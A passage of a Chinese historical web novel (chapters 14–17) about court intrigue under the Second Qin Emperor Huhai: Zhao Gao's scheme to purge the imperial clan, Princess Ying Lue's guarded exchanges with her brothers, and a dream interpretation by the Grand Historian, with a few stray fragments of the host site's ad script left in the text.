14. 贼喊捉贼 嬴略毫不畏惧地迎上胡亥质疑的目光,反问道,“我倒想问问陛下,为何会以为我对蒙恬有私心呢?” 她可没有忘记,从沙丘行宫开始胡亥就在屡屡试探她对蒙恬是否有私心。 “从沙丘行宫到秦廷会审,王姊以为朕没看出来你是在处心积虑为蒙恬求情吗?秦廷会审那日朕不过是看在王姊的面子上才不细究蒙恬的罪过,若是真的按丞相和赵君所言依法案治,王姊以为蒙恬可以全身而退吗?” “臣是为大秦、为先帝、为陛下才出言力保秦国栋梁,臣问心无愧。” “王姊这些大义凛然的话可以搪塞别人,却骗不了朕。朕与王姊少小相伴,你会为什么样的人动心,朕比你自己还要清楚。” “陛下多虑了。迄今为止我与蒙恬不过见了两面,何来的寤寐之思,关雎之情。” 胡亥烦躁的心情刚刚和缓,却又听嬴略道,“但是男未婚女未嫁,即便日后我为他动心,又有何不可呢?” 一想到王姊为蒙恬与他生死对峙的梦魇可能成真,胡亥忽然暴怒地一挥袖子,“当然不可以!” 看着胡亥暴怒的样子,嬴略心中的狐疑更甚。 起初她以为她的王弟是忌惮先帝诸子与先帝重臣私相勾连,如今看来他更像是忌惮她与蒙恬私相授受? “陛下到底为何如此在意我对蒙恬有无私情?” 胡亥隔着锦衣华袂紧紧握着她的手腕,“你可以对他有私欲,但绝不能对他有私情。因为你是朕的王姊,朕不希望你私心里爱重别人胜过我。” 嬴略对上胡亥那张漂亮的脸蛋,起初她就是为这张脸蛋动心,所以才将年少失恃的他带至北宫。 如今这张脸蛋愈加妖冶漂亮,只是这个小狼崽的心她愈发看不透了,她抚弄了一下他鬓边的碎发,像少时那般柔和又耐心,“阿亥,你我始终是血浓于水的手足,岂是外人可以比的?” 她说蒙恬是外人。 胡亥脸上阴鸷的神情渐渐缓和,他松开了嬴略的手腕,转过身去只留给了她一个高傲的背影。 “朕希望王姊能永远记得这句话。” 眼见胡亥这个小狼崽子的毛已经被捋顺,嬴略腾出手来揉了揉被捏得发红的腕子,“那么陛下是否当我是血浓于水的手足呢?” “自然。” “臣请陛下彻查御园现蛇一事。肇事之人包藏祸心,胆大于天,竟敢在皇帝陛下的御园放蛇,今日是误伤了公子毋伤,焉知来日咬到的不是陛下?此事绝不可姑息。” “朕说过,此事朕会交由郎中令严审。” “管理御园的园尉是郎中令的胞弟赵成,御园冬夜现蛇一事,陛下若是交给郎中令一人审查,恐怕和窃贼搜查赃物没什么两样了。” “王姊这是对赵君有偏见。郎中令乃朕左右近臣,扈卫天子门户,宫闱禁苑出事理应交由赵君审查。此事无须再议。” 末了,他的语气稍加缓和,“时辰不早了,王姊也早些回去休息吧。” —————— 赵高深夜接到二世宣召,匆匆解履进入宣政殿下拜,“臣赵高拜见陛下。” 胡亥背对他问责道,“赵君可知御园现蛇一事?” “此事干系重大,臣一听闻此事便立刻带人前去查证,在园尉的帮助下已经查明此事乃园中寺人失职之过。现人证物证俱全,等候陛下审查发落。” “哦?” 胡亥转过身来,别有深意地笑道,“郎中令‘审查’的手段倒是比我预想的快许多。” 赵高愈发恭谨,“臣本微贱之人,有幸蒙皇帝陛下擢升才得以位列九卿,自然感恩戴德,尽心竭力为皇帝陛下分忧。” 胡亥并未立即召见赵高所说的肇事之人,而是慵懒地靠在漆几上,似笑非笑道,“肇事者是个寺人?朕还以为此事并非人为。” 这句话倒是打了赵高一个措手不及。 他早早准备好了罪证和替罪羔羊,自以为必然应对得当,结果二世不夸他效率奇高,反而觉得此事并非人为。那他之前的一番准备算什么,无事生非,庸人自扰吗? 他不由得在心中暗骂教了胡亥十数年,他仍然是始皇诸子中的一朵奇葩。 不过,胡亥从小到大都是如此,他的言行都是从来肆意胡为,不能以常理考虑。 虽然心中觉得十分不爽,赵高面上依然恭谨有加,“陛下说得对。臣回去之后定会谨慎核查此案。” 胡亥挥了挥手,意有所指道,“不必了。赵君在宫中仕宦多年,又精通秦法,宫中审案的‘合法’程序和‘取证’手段你比朕熟,朕自然不会‘质疑’赵君。” “不过朕想知道赵君这一番折腾到底想针对谁?” 刚刚如释重负的赵高闻言又立刻警觉起来,“陛下怀疑此事是臣所为?” “王姊说将此事交由赵君审查和窃贼搜查赃物没什么两样,赵君觉得呢?” 赵高当然不可能承认是自己所为,当下伏地喊冤,“陛下,长安公主之言,臣实在冤枉啊……” 胡亥哈哈一笑,“朕也觉得王姊这么说,是因为她对赵君成见的缘故。” 赵高起身再拜,“陛下圣明。长安公主一向对臣颇有微词,觉得臣小贱之人不配事君,蒙陛下厚恩擢升为郎中令更是德不配位。” 听到赵高说德不配位这个四个字,胡亥的眼中有那么一瞬闪过难以压制的暴虐之色,被议论德不配位的又岂止赵高一人,在这个问题上他和赵高面临一样的处境。 不过,他很快转换了神色,对赵高笑眯眯道,“朕又不是第一天知道赵君睚眦必报的本性。秦廷会审那日赵君被王姊当众下了脸面,事后想着如何报复王姊呀?” 这种毫无证据的罪名赵高当然不可能承认,犹自强辩道,“长安公主乃先帝之女,今上女兄,就算恣睢骄横凌辱臣下,臣微末之职如何能挟私报复?” 胡亥脸上再现那种天真又残忍的笑容,他重复着沙丘行宫那晚赵高请求处死长安公主的计谋。 “‘后宫女眷身娇体弱,不幸‘病故’也是有先例的’。王姊一介弱质女流,要是在宫中被毒蛇咬伤,就算不死也会受一番大罪,而此事查证起来完全可以操作为宫人失职的事故,赵君既能报仇雪耻又撇清了干系,一举两得不是吗?” 胡亥的一番分析听得赵高汗流浃背,他这个蠢钝如猪的学生何时变得像先帝一样洞察人心,甚至玩弄人心了。 胡亥走到他身边,按着他的肩膀,却是故意打趣道,“章华宫虽然暖和,可是远没有热到让赵君大汗淋漓的地步吧。” 赵高觉得肩上的负累如有千钧之重,他十分清楚,按在他肩上的那只手足以决定他项上人头的去留。 即便二世几乎猜出了他背后的所有谋划,他绝不肯在明面上承认是自己所为,只是匍匐在地诚惶诚恐道,“陛下,臣惶恐。” “惶恐?你是应该惶恐。” 胡亥拍了拍赵高的背,恩威并施道,“朕早知赵君不是什么高风亮节的君子,但是朕就喜欢赵君这样处心积虑地为朕考虑,不择手段地为朕做事的臣下。朕可以容忍赵君种种胆大妄为的行径,甚至可以在百官面前毫无原则地维护赵君,只是,赵君千万不要触及朕的逆鳞。若有人触及朕的逆鳞,朕可是要杀人的。” 他没有明言何为逆鳞,但他相信赵高完全能揣度出何为逆鳞。 换作旁人, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被皇帝捏住生死荣辱的命门恐吓都会吓得瘫软在地了,但是赵高在一番汗流浃背之后,再听到“逆鳞”这样的词却是忍不住想要狞笑。 二世都主动送上来门来把台子搭好了,他准备许久的拿手好戏怎么能不开始唱呢。 他可以不触及二世的逆鳞,但是他有的是手段让二世亲自割下这片喉下逆鳞。 “陛下难道不想见见那位失职的寺人吗?”赵高阴险一笑,突然再次提及来时的第一句话。 “赵君何意?” “陛下难道不想知道到底是何人胆敢触及陛下的逆鳞吗?” —————— 被宣召的寺人小乙满身是伤地匍匐在地,颤颤巍巍地将自己今夜在御园听到公子毋伤和公子将闾二人的谈话和盘托出。 胡亥阴晴不定的脸上霎时乌云密布,盛怒之下,他一下子掀翻了面前的蟠虺纹铜案。 案上的东西顺着丹陛砸到寺人小乙的身上,崩裂的伤口瞬间又渗出了不少鲜血,虽然身上的剧痛难以忍受,但是寺人小乙一动也不敢动。 赵高假意跟着伏地请罪,嘴里说出的话却是让二世心中的怒火烧得更旺了。 “臣昧死言,自陛下听从长安公主之言奉先帝遗诏紧急还都以来,群臣宗室表面俯首称臣,实则怏怏不服,皆对先帝所留遗诏之真假议论纷纷。今先帝已入葬骊山,质疑陛下得位不正的谣言却甚嚣尘上。丞相为了粉饰太平,不敢将这些大逆不道的流言禀明陛下。可臣与陛下有十数年的师生之谊,又蒙陛下厚恩擢升为九卿之一,怎能忍心陛下受此蒙蔽。” 胡亥那双狭长上扬的丹凤眼凌厉异常,显然也是听到了不少风声。 趋着胡亥的神情,赵高继续从旁煽风点火,“陛下新君初立,大臣未信,宗室未附,他们一个个都在质疑您的遗诏,觊觎您的皇位。方今之秦廷,先帝诸子无功而位尊,无劳而奉厚,先帝所立之大臣皆累世显贵,若是这些人私相勾连行谋逆之举,那么陛下危矣,大秦危矣。” 胡亥眼中寒光乍现,“那么,赵君以为该当如何?” 赵高像个真正的忠臣一样苦心孤诣地建言献策道,“陛下不妨趁此时机派遣御史详查群臣宗室之过,有罪者皆施以重刑,若有不服者皆按不臣之罪尽诛之,如此上可威振天下,下可翦灭异党,秦廷上下集于一心,陛下之天下可大定矣。” 胡亥的眼中闪过一丝丝的不忍,“赵君啊,这……这要死多少人?他们都是先帝的忠臣孝子,这样做是否太过了些?” 眼见胡亥仍然有些犹疑不定,赵高再度力劝,“陛下啊,这些人宁愿做先帝的忠臣孝子,也不愿做陛下的忠臣手足,那就让他们去地下追随先帝吧。陛下若是不忍心对他们动手,他们可就要对陛下动手了。愿陛下毋要迟疑,早做决断。” 赵高的话总是能精准拿捏胡亥的命门,得位不正的流言像一把无形的手扼住了紧紧扼住了胡亥的咽喉。 在生死抉择面前,胡亥眼中那一丝丝不忍也逐渐消失,不过他还有些犹疑不定。 “如此大开杀戮,我这个二世皇帝岂非真的成了孤家寡人,秦廷之内还有人对我俯首称臣吗?” “惠文王车裂商鞅,武王驱逐张仪,先帝罢黜吕不韦,明主皆逐旧臣,举新人,这是秦廷的惯例。所谓一代秦君有一代人秦君的亲信,旧党若不翦除,新人如何来投奔呢。” 胡亥眼中再现狠绝之色,“赵君言之有理,此事便交由你去办。” “诺。”赵高心中大喜过望,眼中的阴鸷癫狂几乎失控到要溢出来。 那些王子皇孙、高位重臣往日高高在上,如今他们的生死命运,统统交由自己这个卑贱之人决断了。 15. 棠棣之华 今日,嬴略所居的长安宫来了一位不速之客。 “王兄来了。” 嬴略将善水居送来的请书压在封泥匣下,笑着起身迎接公子将闾。 公子将闾从随侍的宫人手中接过一个羊皮套子,从中取出一件彩绘棠华纹漆扁壶放在铜案上,与嬴略在堂上相对而坐。 他瞥见了案上封泥匣下的情书,道,“看来我这酒送的还真是时候,等再晚些王妹应邀品尝了善水居这样名满天下的酒肆新出的美酒之后,我今日带来的酒恐怕就更上不得台面了。” 善水居,乃是咸阳城中名声最盛的一家酒肆。其背后的主人正是发家于秦人西北边鄙的乌氏戎商。始皇帝在位时,乌氏戎商中以乌氏倮最为出众,靠着往来中原列国与西北戎王之间交易牛马牲畜与奇器丝绸,富甲一方。 乌氏倮不仅极具经商头脑,获猗顿之富,更有吕不韦那般独到的政治慧眼,早在天下未统一时,便常年为秦国提供西域良马。始皇帝看在乌氏倮于秦有功的份上诏令乌氏倮地位与封君等同,可在特定时间同群臣一起进宫朝拜。 善水居的主人正是乌氏倮之女乌氏珠,作为闻名天下的酒肆,首开于洛邑成周。 据闻乌氏珠在洛邑成周向债台高筑的周王讨债时,偶遇两名前来参观周王室守藏室拜读祖师老子旧藏的道家弟子。周室虽早已衰微,却还剩一个天下共主的空壳,其收藏有珍奇档案古籍的守藏室绝不轻易为外人开放。 乌氏珠遂以债务为由向两名道家弟子进入守藏室提供便利,而两名道家弟子则还报乌氏珠一张古老的酿酒秘方,而后乌氏珠凭借此酒方在成周洛邑开设酒肆,并按两名道家弟子所言,以道家经典《道德经》中的名言“上善若水”为酒肆取名“善水居”。 其后,善水居扬名天下,乌氏珠亦靠着善水居获万金之富。 嬴略微微一笑道,“王兄真是稀客。不知今次带了什么好酒?” “是去岁母亲带人采摘棠华宫内的棠棣之果酿造的棠华酒,先帝在时年年岁首在棠华宫置酒宴请诸位兄弟姊妹,以叙天伦手足之情。而今先帝驾崩,今上初立,新政待兴,也就记不起来这棠华酒筵了。” “如此上好的棠华酒,王兄实在应该先献予陛下。” “王妹与陛下自小同被先帝养在北宫,果然比我们这些兄姊更为亲近些,有什么好东西都先想着陛下。” 嬴略没有接话,而是开口关怀公子毋伤的身体,“听闻昨夜王弟毋伤在御园被蛇咬伤,不知身体如何了?” “幸而昨夜太医到的及时,已经做了紧急的处理,拔出了毒血,敷上了祛风解毒的药膏,只是伤口处还肿得厉害。听闻棠华酒有消肿止痛的效用,母亲这才想起来去岁酿造的棠华酒。” 说着,公子将闾又命人打开扁壶,亲手替嬴略斟了一卮酒,道,“我知王妹一到冬日,就易有气滞血瘀之症,便让人温了一壶,特意带来送给王妹。” 嬴略看了看公子将闾的宫人手中的羊皮套子,正是冬日里保温所用,颔首道“王兄有心了。” “听说王妹昨夜也去游了御园,怎么我和毋伤都没有见到王妹?” 果然无事不登三宝殿,听出公子将闾口中的试探之意,嬴略只微微一笑道,“御园之大,碰不到也是有的。” 公子将闾显然不信,又接着问道,“凛冬将至,御园之内正是耐冬盛放的时节,又是自王妹母亲的家乡齐地引进,王妹没去看看吗?” “去了。只是该遇见的人没遇见,不该遇见的人却遇见了。” 公子将闾似是不经意地询问道,“王妹是指内史蒙恬?怎么,你们的关系没有缓和吗?” 嬴略没有回答,端起玉卮就着公子将闾替她倒的棠华酒啜饮了一口,却是蹙眉道,“今年这棠华酒怎么有些酸涩?” “或许是酿造时间太短的缘故。” “棠棣五六月结果,到如今也酿造了三四个月,虽说是仓促了些,不及陈年佳酿回味甘醇,但也不应如此酸涩,怕是去岁赵夫人采摘的果子太酸涩了些。” “幸而先拿来给王妹品鉴一二,不然稀里糊涂地献给陛下,恐怕会惹怒天颜。” 嬴略看了看他,别有深意道,“这些棠棣树自小被精心养护在宫中,许久未经风刀霜剑的严寒,自然少了几分甘甜。可是它们的作用便是结出甘甜的果子酿造上好的棠华酒,若是生出酸涩之意,久而久之就会被园尉给砍掉了。” 听出嬴略的弦外之音,公子将闾却是摩挲着漆壶上彩绘的棠棣花道,“怕就怕,不是棠华酒酸,而是陛下觉得棠华酒酸。” “陛下不会无缘无故觉得棠华酒酸,这酿酒的果子还是要先保证自己不酸才好。” 公子将闾又替自己倒了一卮棠华酒,执着玉卮,还未饮用心底便已升起一阵酸涩之意,“王妹既是懂酒之人,更是懂陛下之人,我这个王兄自愧不如。” 嬴略却是按住了他的手,莞尔一笑道,“我的长安园中倒是有几株百年棠棣树,初春时节,繁英压树,灿若云霞,结出的果子也极为甘甜。届时邀请王兄和王弟到园中一同赏玩如何?” 公子将闾抚掌笑道,“如此,我倒是想‘得寸进尺’再借几颗王妹园中甘甜的棠棣果酿成美酒献予陛下了。” 嬴略的手摩挲着扁壶上彩绘的棠棣花,“‘棠棣之华,鄂不韡韡。凡今之人,莫如兄弟。’手足之情,血浓于水,区区几颗棠棣的果子算得了什么呢?只是王兄,献予陛下的棠华酒可莫要再是这种酸涩的味道了。” 公子将闾朝妹妹一揖,“如此,我明白了,多谢王妹提醒。这酒不醉人人自醉之事我想以后再也不会发生了。” —————— 公子将闾走后,侍奉在侧的内者景福将跽坐在案侧请示道,“公主,婢子愚钝,公子将闾送来的棠华酒您到底喝还是不喝?” 嬴略看着她打趣道,“你呀,心较比干多一窍,你若是愚钝,这天下还有聪敏人吗?依你看, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这酒我喝是不喝?” “既然此酒酸涩,公主还是不宜饮用。” “可这酒是王兄费心送来的。” “再是费尽心思,送来的也是酸涩之酒。公主既已品鉴过此酒酸涩,刚才就不应再与公子将闾多做纠缠。” 景福看了看左右宫人,示意她们退下。而后才继续和嬴略开诚布公道,“公主,恕奴婢失言。天家诸子相争,最忌朝秦暮楚。虽说公主并无异心,可诚如公子将闾所言,自己有无异心并不是最要紧的,最要紧的是陛下觉得你有无异心。这种瓜田李下之事,公主还是切勿沾染。与陛下虽是姊弟,更是君臣。若陛下觉得您失了做臣下的本分,危矣。” 景福侍奉她十余年,性情和见解同她都有几分相似。其实她说的这些,她自夜游御园那晚听到公子毋伤酒后失言之后就在心中再三思量,只是在理智和情感之间始终犹豫不决。 她的手也摩挲着漆壶上彩绘的棠棣花道,只道,“你说的这些,我何尝不知。” 景福再度力劝,“此事本就是公子毋伤酒后失言在先,公主若是顾惜手足之情,装聋作哑也就罢了。若是淌进了这趟浑水,恐怕自己也无法洗脱干净了。” 嬴略长叹一口气,吟诵起周公宴乐兄弟的诗,“棠棣之华,鄂不韡韡。凡今之人,莫如兄弟。死丧之威,兄弟孔怀。原隰裒矣,兄弟求矣。” 她拿起封泥匣下善水居的请书,“天下谁人无兄弟。善水居来了请书,名为邀我品酒,实是燕舒回来了。代地之事,也是时候让蒙恬知道了。” “公主是打算邀请蒙恬到渭阳学宫一聚吗?” 景福知道,上次嬴略应约前去渭阳学宫本就是为了向宋怀子询问代地之事的进展,只是被蒙恬这个不速之客给打断了。不过,也正是因为此事,她才发现原来避世不出的渭阳学宫祭酒宋怀子不仅与公主相熟,竟也与蒙恬相熟。 嬴略摇了摇头,“不能去渭阳学宫。陛下不知为何对我和蒙恬的交往盯得很紧。若我和蒙恬同时出现在渭阳学宫,会给宋子带来麻烦的。从前宋子是因为与母亲的关系才能稳居渭阳学宫祭酒之位数十载;而后君父看在已逝母亲的面子和宋子于秦有功的份上,才放任他在渭阳学宫避世不出,以示恩养之意;可是如今陛下即位,就连我这个亲近的王姊都过得小心谨慎,又拿什么来保证宋子的安危呢?” 景福笑着打趣道,“公主那日虽然对宋子嘴上不饶人,可是心里还是敬护着宋先生的。” “昔日庄子与惠施乃是至交好友,却依旧坚持己见,不肯退让,以至于陷入了‘“濠梁之辩”’的僵局。可见学说观点争鸣,就是要畅所欲言。可是,宋子到底是看着我长大的,多年来亦师亦友。又是母亲的同门师兄,不是亲舅父却胜似亲舅父,我怎么可能真的对他不管不顾。” “既然不能在渭阳学宫,公主打算在何处和蒙内史谈论代地之事呢?” 嬴略的手指点在善水居的请书上面,“善水居。” 16. 一门三宠臣 “公主怎就笃定蒙内史一定会答应善水居的邀约呢?”嬴略的内者令丞①景福疑惑道。 嬴略又啜饮了一口有些酸涩的棠华酒道,才道,“你可知先帝为何每年都在棠华宫宴乐诸位兄姊?” 景福回答,“先帝每年在棠华宫置酒宴请诸子,意在叙天家手足之情。” “是啊,谁会拒绝和兄弟喝酒叙情的邀请呢。这善水居的管事正是蒙恬的大兄。” 景福惊讶得捂住嘴,“大兄?我只知道蒙内史有一个弟弟,他竟然还有兄长。” 嬴略笑了笑,“蒙内史的大父(爷爷)蒙骜自我的高祖(曾爷爷的爸爸)昭襄王时就来事秦,而先蒙内史又只大我十余岁,可以算作是我的平辈,他怎么可能是蒙骜将军最年长的孙辈呢?” 景福却是疑惑道,“蒙氏兄弟深得先帝宠信,内史身居高位,其弟蒙毅也居上卿之位,怎么蒙内史的大兄却只是个区区酒肆的执事长?” “你是先帝二十四年(224B.C.)秦灭楚之后没入秦宫的,因而对先帝二十一年(227B.C.)发生的荆轲刺秦一事并不十分清楚。” “婢子曾听年长的宫人提起过几句。那燕太子丹和刺客荆轲可真是胆大包天,竟敢刺杀先帝。结果一个被当廷斩杀,一个逃亡藏匿,惶惶不可终日,逃来藏去终究还是被其父燕王喜斩杀,其头颅被亲生父亲献予先帝。然而,即便斩杀亲子,也没有避免亡国的命运。” 说到最后,景福不禁有些物伤其类的悲悯。 “世人只知士为知己者死的荆轲,却未必清楚荆轲之所以能顺利进入秦廷,乃是以重金贿赂了一个人,正是这个人向先帝引荐了名为燕使实为刺客的荆轲。” “谁?” “先帝曾经的宠臣,中庶子蒙嘉。” “姓蒙,又曾经做过先帝的宠臣,莫非他和蒙恬有什么关系?” “蒙嘉,正是蒙恬的兄长。” 景福忍不住在心中感慨了一句,一门三宠臣,这是什么祖坟冒青烟的命数。 不过,她还是好奇地接着问道,“引狼入室,这可是大罪。荆轲和燕太子丹都不得善终,怎么没听人说起过蒙嘉的结局?即便是先帝的宠臣,引荐了刺客,也难逃脱罪责吧。” “你说得没错。按律蒙嘉当被施以劓刑(割掉//鼻子)。” “就像孝公时的太傅公子嬴虔那样?劓刑虽不会危机性命,却是极具羞辱之刑。受此刑法,恐怕再难以真面目见人了。” “公子虔是没赶上好时候。先祖孝公时刚刚开启商鞅变法,正需要严法峻刑来为商鞅变法立威,自然不会轻纵任何破坏变法的行为。而自大父庄襄王以来,法治与德治并行,先帝亦奉行这样的政策,就连东巡之时,也在琅琊刻石上刻下‘圣智仁义,显白道理’、‘忧恤黔首,朝夕不懈’这样的德治成就②。” 顿了顿,嬴略又道,“况且蒙嘉虽是贪财受贿,却并不是故意引荐刺客给先帝。他本人在事后自首伏法,自陈是知道先帝非常想要收复燕国,而此时燕使又代表燕王主动臣服,不战而屈人之兵,先帝一定乐意之至。先帝审度蒙氏于秦有功和蒙嘉本人伏法自首的举动之后,还是稍稍宽容了蒙嘉的罪过,改劓刑为仗刑。” 宽容?景福听得有些心惊,五十以下为笞刑,五十以上为仗刑,这也算宽容? “那蒙嘉受了仗刑之后还活着吗?” “人倒是没死,意气却难再复发。从炙手可热的秦王宠臣到差点被劓刑羞辱的罪人,他的仕途再无可能。从那以后,他很是沮丧了一段时间,常常在咸阳有名的酒肆善水居宿醉不归,在那里他遇到了一位同他拼酒的豪爽女子,后来他才知道她就是善水居的主人乌氏珠,再后来,他们就成了婚。” 此时,景福才说出了自己的疑惑,“可是,我听闻善水居的总管事姓孟,不姓蒙。” 言及此,嬴略笑了笑,“一开始,蒙武将军并不反对儿子的这桩婚事,甚至觉得蒙嘉既然如此贪财爱钻营,经商不失倒为一条好路。但是乌氏戎商的女子自立门户,不能外嫁,只能男方入赘,也难为蒙嘉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 顶着重重压力,宁愿从蒙改姓孟,也要入赘到心爱的女子家中。” 景福大为震撼,啧啧了两声才道,“大秦律法轻视入赘的男子,赘婿者,三代以内不得入仕③,甚至为人赘婿一度要被送去前线攻打岭南地,而且蒙氏又是自齐地(沙东)而来……这可真是做了一个违背祖宗的决定。” 嬴略却是道,“他本来也与仕途绝缘了。不过,我倒是很敬佩他顶着重重压力为爱妥协的勇气。也只有这样的人,才配得上乌氏珠那样的女中豪杰。况且,他虽为赘婿却并不是吃软饭的人,身为执事长,辅助乌氏珠将乌氏的商业打造得井井有条,财源滚滚,难道不值得人敬佩吗?” 景福掩唇而笑,“如此,孟嘉非孟嘉,实乃先帝曾经的宠臣中庶子蒙嘉。不知蒙内史心中是否这样看待他这位兄长?” —————— “善水居今年岁首新酿造出了一款佳酿,我家执事长特邀内史参加本月十六于善水居举办的品酒之会。” 漆案之下跪着的庸保(酒保)一边说着一边恭谨地将手中的请函呈上。 蒙恬从蒙府的侍从手中接过请函,那是一块由崖柏制成的木牌,干硬油清,周遭萦绕着一股似有若无的清香之气,那种香味并不怎么浓烈,而是一种沁人心脾的果香,让人越闻之欲罢不能,就像善水居的佳酿一样。 “酒会是在本月十六?” “正是,不过执事长想在酒会前一天邀请内史过府一聚。” 这样的邀请在旁人听来有些突兀。 不过,正如嬴略所笃定的那样,蒙恬面上并没有被冒犯的不满之色。 只听他道,“十五是阖家团圆之夜,我还是不便去打扰兄长一家的团聚了。” “内史有所不知,我家主人远去外地接少主人了,要到十五以后才能归家。是以,执事长想在阖家团圆之夜邀内史这个兄弟一聚。” 蒙恬笑了笑,“如此,却叫我这个当弟弟的盛情难却了。” “敬诺。我这就回去给执事长复命。” 17. 白虎为祟 仰观宇宙之大,推演天机之妙。 伫立在天机阁的狩星室,深邃悠远的墨蓝天幕上闪耀着的群星便可一览无余。 天机阁和坐落于咸阳宫前殿之北,和金石阁一同构成了秦国的守藏室(秦国国家图书馆)①。 作为秦国的国家图书馆,天机阁和金石阁收藏有古往今来圣人贤者的所有著作典籍,集天下间所有智慧和奥妙之大成。 由于始皇帝本人对天命之说极其推崇,天机阁不仅承担着藏书的功能,更承担着推演天机之妙的作用。 天机阁狩星室的巨幅藻井上镶嵌的透明琉璃更是斥巨资从域外购入,和中国产出的琉璃不同,域外的琉璃呈凸透状,厚重却透亮②,承重的同时还便于透过它窥视宇宙群星,从而推演天机奥妙。 琉璃藻井为方形抹去四角,上加八斗,藻井中央正对天上的二十八星宿,恰巧投射到下方的乌木地板上。藻井正下方设置相对应的二十八处席位,其后设有彩绘漆屏,漆屏上绘制着绀青为底月白为色的二十八星宿,就连席位的设置也与对应星宿息息相关。 这二十八处席位分配给天下间最善于推演命理的博士值守,称之为狩星史。他们轮班值守,日夜不停地观察星象的变动,推演命理的变化。 狩星室的四壁则绘制有鸿蒙以来的上古大神及三代时期的圣贤帝王:九头的人皇,鳞身的伏羲,蛇躯的女娲,怀抱伏羲女娲的太一,绝地天通的颛顼,及至三代的夏启商汤周文武王,贤愚成败,靡不载叙。雕梁画栋之间,各有仙人玉女精怪窥窗下视③。 端的是观万古如同日,知八荒若庐庭,考七耀之盈虚,步三五之变化,审盛衰之方来,验善否于既往,料玄黄于掌握,甄未兆以如成④。 一片黑袍扫过乌木地板上映射的群星光芒,龙晶(黑曜石)般的眸子环视着宇宙群星,然而群星的璀璨亦掩盖不住新帝眼中的暴虐恣睢。 “茅卿既居太史令一职,自当能据天文星象究览道奥,穷测微言。那么茅卿便解一解朕的这个‘白虎为祟’的梦魇。” 深夜被二世在天机阁召见的茅焦身上太史令的常服衣着规整,虽是面上神情却处变不惊,让人不禁回想起他当年顶着秦王之怒挺身而出为帝太后谏言的光辉往事。 此时的他如同万古黑夜中的一位白袍智者,与岁首夜宴时冠缨斜的滑稽样子判若两人,倒是十分契合他身上的职位——大秦太史令。 他略微沉思了一下,不失恭谨地给予了二世一个答复。 “陛下容禀,臣窃以为梦中的玄色御车当指代大秦社稷,御车的精良构件指代各司其职的大秦官吏体系,”顿了顿,他又道,“而掌控御车前进方向的御者则是——大秦皇帝。” 胡亥蹙眉,“可是车翻了,连带着朕也掉下了悬崖。” 茅焦微不可己地叹息一声,“意味着大秦社稷或将有危。” 胡亥转过身来,眼中的阴鸷之色似乎要将人吞没,“那么依茅卿之见,威胁大秦社稷的白虎又指代什么呢?” “若按占卜解梦的经书典籍来说,白虎乃天之四灵,指向西方。而大秦之西隅正是秦嬴的龙兴之地,秦嬴社稷自西垂起兴,筚路蓝缕数百年,常受泾水泛滥之灾,白虎或指‘泾水为祟’,陛下当作泾水神祠,沉象征诸侯之尊的四匹白马作为牺牲祭祀泾水之神。” 这番说辞虽然宽泛却滴水不漏,然而从二世脸上的神情来看这显然不是他心中的标准答案。 在这些读书人的口中,通常只能听到两种话,一种是似是而非的敷衍之辞,另一种则是分合天下、振动社稷的游说之辞。二世和当年泰山封禅的始皇帝一样最讨厌这种似是而非的敷衍之辞。 “朕不想听这些经典之说,朕想听的,是太史令的真心之言。” 尽管二世的不耐已经写在了脸上,但是茅焦紧接着却又道出了一个经典之言。 “一人言市有虎,陛下信之乎?” 二世为了想知道他到底在故弄什么玄虚,还是继续忍耐着接他的话。 “否。” “二人言市有虎,陛下信之乎?” 二世面上将信将疑,口中亦言,“朕将信将疑。” “三人言市有虎,陛下信之乎?” 二世嗤笑道,“太史令就讲了这么个笑话来糊弄朕?三个人都说市中有虎,那必然是真有虎。” 茅焦露出了然的笑,“闹市岂会有虎?盖因三人言而成虎。如此,陛下可明了?臣虽避世于渭阳学宫,亦私下听闻秦廷内外流言纷纷,自古流言猛于虎,陛下所忧惧的流言成虎入梦,这才惊扰了皇帝陛下。” 茅焦聪明地点到即止,并没有戳破二世心中那道关于得位不正的隐秘伤疤。 ————————————— 不久之后,赵高亦在夜半接到二世宣召,匆匆解履进入宣政殿。 “陛下。” 看着夜半被宣召却依旧恭谨有加的赵高,胡亥主动亲近道,“赵君为我解忧。” 赵高虽起身近前,身形却更加低眉俯首,远远望去,如同一条蛰伏于黑暗中的毒蛇,正张着蛇信盘踞在皇位上嘶嘶作响。 “臣窃以为太史令解梦言之有理,白虎阻车确指有人将要威胁大秦社稷,只是……” 赵高稍一停顿,余光瞟了一眼胡亥,见他正等着自己的下文,才又继续道,“只是臣有不同的见解。” 胡亥玩味一笑,“哦,赵君何时也会解梦了?” 赵高逢迎得宜,“为人臣者,不管陛下有任何忧虑,都理当为陛下分忧。陛下需要解梦,臣便应当会解梦。” “那就请赵君细细说来。” “以太史令所言,白虎指向西方,而大秦西垂乃是秦嬴龙兴之地,故而白虎实指……” “实指……”,赵高欲言又止,却又故作惶恐,“臣不敢妄言。” 胡亥那双漂亮的丹凤眼微微眯起,“赵君不会想说白虎指的是朕吧。” 话音未落,赵高习惯性伏地请罪,心里却再次暗骂胡亥真是朵奇葩。 “臣昧死言,白虎实指秦嬴县官(公室或王室)之中将要有人威胁陛下的皇位。” 胡亥那双眯着的丹凤眼中闻言立刻变得凌厉起来。 “前些日子让赵君去查的事情如何了?” 赵高俯在晦暗不明的阴影中狞笑了一下,他拍了拍手,立时有人抬上来一石竹简。 “此乃不臣之人的名单及罪证,恭请陛下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 审阅圣裁。” 昔年始皇帝在位时,勤于政务,天下之事无大小日夜有呈,一日也才一石。如今他初即位,不臣之人的罪证竟也积累了一石之多。 胡亥走下皇位,信手翻了翻,梦中车毁人亡的惨剧像一把无形的手紧紧扼住了胡亥的咽喉,而愈演愈烈的流言无疑使这个扼住咽喉的手纂得更紧了。 他紧了紧腰间佩戴的太阿剑,对赵高吩咐道,“那么,先从肃清宗室开始吧。其余与先帝诸子有勾连的大臣官吏,皆按秦法处置。” 赵高敬诺一声,却没有退下。 “还有何事?” “确有一事……臣不知当讲不当讲。” 赵高和胡亥私下相处时,很少有这样吞吞吐吐的时候。 